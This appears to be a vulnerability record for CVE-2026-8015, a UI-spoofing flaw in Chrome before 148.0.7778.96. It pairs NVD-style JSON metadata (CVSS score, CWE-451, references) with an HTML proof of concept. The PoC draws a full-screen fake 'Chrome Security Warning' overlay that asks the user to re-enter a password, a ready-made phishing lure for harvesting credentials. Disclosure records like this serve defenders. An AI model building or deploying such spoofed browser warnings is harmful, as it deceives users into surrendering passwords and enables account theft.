CVE-2026-8015

<!-- PoC for Chrome UI Spoofing --> <!-- Creates a fake security alert overlay --> <div style="position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.6); z-index:9999; display:flex; justify-content:center; align-items:center;"> <div style="width:400px; background:#fff; border-radius:8px; box-shadow:0 4px 20px rgba(0,0,0,0.3); font-family:sans-serif; overflow:hidden;"> <div style="background:#f1f3f4; padding:15px; font-weight:bold; border-bottom:1px solid #ccc;">Chrome Security Warning</div> <div style="padding:20px; color:#333;">Your connection is not secure. Please re-authenticate to continue.</div> <div style="padding:0 20px 20px;"> <input type="password" placeholder="Enter Password" style="width:100%; padding:10px; margin-bottom:10px; box-sizing:border-box;"> <button style="width:100%; padding:10px; background:#1a73e8; color:white; border:none; cursor:pointer;">Update Settings</button> </div> </div> </div>

{"cve": {"id": "CVE-2026-8015", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:52.450", "lastModified": "2026-05-07T15:30:17.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Media in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/497548558", "source": "[email protected]", "tags": ["Permissions Required"]}]}}